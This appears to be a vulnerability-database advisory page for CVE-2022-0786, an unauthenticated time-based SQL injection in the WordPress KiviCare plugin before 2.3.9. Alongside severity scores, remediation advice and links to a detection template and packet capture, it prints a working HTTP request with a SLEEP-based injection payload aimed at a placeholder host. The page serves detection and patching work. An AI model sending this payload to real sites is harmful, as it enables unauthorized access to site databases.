🔙 목록으로 돌아가기

CVE-2022-0786: WordPress KiviCare <2.3.9 - SQL Injection

TitleWordPress KiviCare <2.3.9 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
RemediationUpdate to the latest version of the KiviCare plugin (2.3.9) or apply the provided patch to fix the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.64426
CVE IDCVE-2022-0786
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli kivicare-clinic-management-system unauth wordpress wp-plugin wp wpscan iqonic vkev vuln

🔍 Vulnerability Description

WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0786.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0786.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A